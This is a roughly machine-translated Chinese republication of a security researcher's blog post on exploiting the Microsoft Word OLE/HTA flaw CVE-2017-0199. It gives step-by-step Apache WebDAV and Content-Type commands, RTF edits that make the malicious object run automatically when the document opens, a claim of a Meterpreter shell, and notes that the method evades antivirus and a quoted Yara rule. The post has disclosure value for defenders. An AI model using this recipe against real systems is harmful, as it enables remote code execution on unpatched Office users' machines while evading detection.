自从几天以来,安全社区已经通知FireEye发布了不同的恶意软件(Dridex ...),利用CVE-2017-0199。
其他一些出版物与这个漏洞有关,但没有发布任何有用的漏洞。
一段时间后,我找到了一种轻松利用此漏洞的方式,这似乎与其他研究人员已经完成的工作有点不同。
我决定发布这项工作,因为微软在2017年4月11日正式发布了一个补丁。
可以将OLEv2链接包含在现有文档中。
这些对象(一旦包含)将反映源文件中载入文档的当前内容。
令人惊奇的是,如果您尝试将HTA链接包含为OLEv2对象,那么它将被执行一次(在创建时),但WinWord将返回如下错误:
在这种情况下的问题是,HTA文件将不会被持久化(为了使其持续,您将不得不将其链接到文件+创建图标,但是我们想要隐藏并具有自动运行权限?)
想了一会儿,我开始思考如何处理一个真正的,不是恶意的OLE对象链接到一个远程RTF文件...
要实现我不得不在内容类型和DAV模块在Apache中播放一点,以提供我的文件在“ 正确的“Microsoft Office预期方式...(这将在下一章讨论)。
从那里,我将有一个有效的嵌入式对象链接,每次打开我的文档后自动更新!
下一步? 在HTA中用我的有效载荷修改来源的文档!
在这种情况下,我能够:
另一个问题? OLE对象需要自动激活!
我有很多帮助来解决所有这些问题,转载参考部分的不同文章!
感谢Didier Stevens博客,Vincent Yiu(主要受其文章的启发),Nvisio实验室,FireEye和明显的... Microsoft
准备HTA文件:(HTA文件是可以运行JScript和VBscript的HTML应用程序)
让我们称之为“ms.hta”
Bonjour
使用任意随机内容的Winword创建一个简单的RTF文档。 (在我们的例子中,字符串“这是我的官方和合法内容”)
称之为“ms.rtf”
将这2个文件推送到您完全控制的网络服务器上。
我们假定它将被存储在/ var / www / html中
现在我们必须配置Apache才能将ms.rtf作为一个链接
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart
以下指令将:
将内容类型应用程序/ rtf添加到/ ms中的所有文件
允许Microsoft Office执行PROPFIND请求
Modify virtualhost and include:
Header set Content-Type "application/rtf"
Dav on
service apache2 restart
使用Winword“exploit.rtf”创建一个简单的RTF文档这将是我们的漏洞利用!
插入 - >对象
CVE-2017-0199 Creation of OLEv2 external link
单击确定后,您将获得包含随机字符串的“ms.rtf”文件的内容。
将文件另存为“exploit.rtf”
CVE-2017-0199 Olev2 link object created
在这一步我们可以关闭Winword,并转到下一步改变ms.rtf的内容与HTA有效载荷...
以下步骤将:
更改自定义HTA有效载荷中包含的ms.rtf
Web服务器将发送一个“application / hta”内容类型... 这将由Winword客户端解释,Winword客户端将运行mshta来处理此内容类型并执行我们的有效载荷
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default
Change -> application/rtf to application/hta
like:
Header set Content-Type "application/hta"
service apache2 restart
在这一步,如果用户打开“exploit.rtf”文件,他将不得不双击链接对象来启动攻击...
如果我们想要在文档打开时自动加载OLE对象,我们必须编辑exploit.rtf文件并更改:
至 \ object \ objautlink \ objupdate \ rsltpict ........................ ..
在这个步骤中,构建了漏洞利用。
开发:
一旦用户打开文档,OLE对象将通过链接进行更新,并且由于服务器提供的应用程序/ hta内容类型,mshta将被执行
结果:代码执行!
Meterpreter在这里!
我们不关心警告,因为代码已经执行了...
CVE-2017-0199被利用了! 执行后发出警告
从我的个人测试来看,这种方法似乎没有被AV捕获(Defender已经有CVE-2017-0199的签名)
此外,目前发布的雅拉规则与此漏洞并不匹配
规则rtfobjdataurlmoniker_http {
$ header =“{\\ rtf1”
$ objdata =“objdata 0105000002000000”nocase
$ urlmoniker =“E0C9EA79F9BACE118C8200AA004BA90B”nocase
$ http =“68007400740070003a002f002f00”nocase
$ header为0,$ objdata和$ urlmoniker和$ http
}
确实,urlmoniker不匹配,这将永远不会触发这个Yara规则。
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/
David Routin是瑞士安全公司的CISO,他十多年来一直担任防范和防御安全方面的安全专家,其中包括各种脆弱性研究.
(安全事务 - Windows0day攻击,CVE-2017-0199)
由Pierluigi Paganini编辑,xmirror进行编译,如需转载请标注:http://www.x-mirror.cn/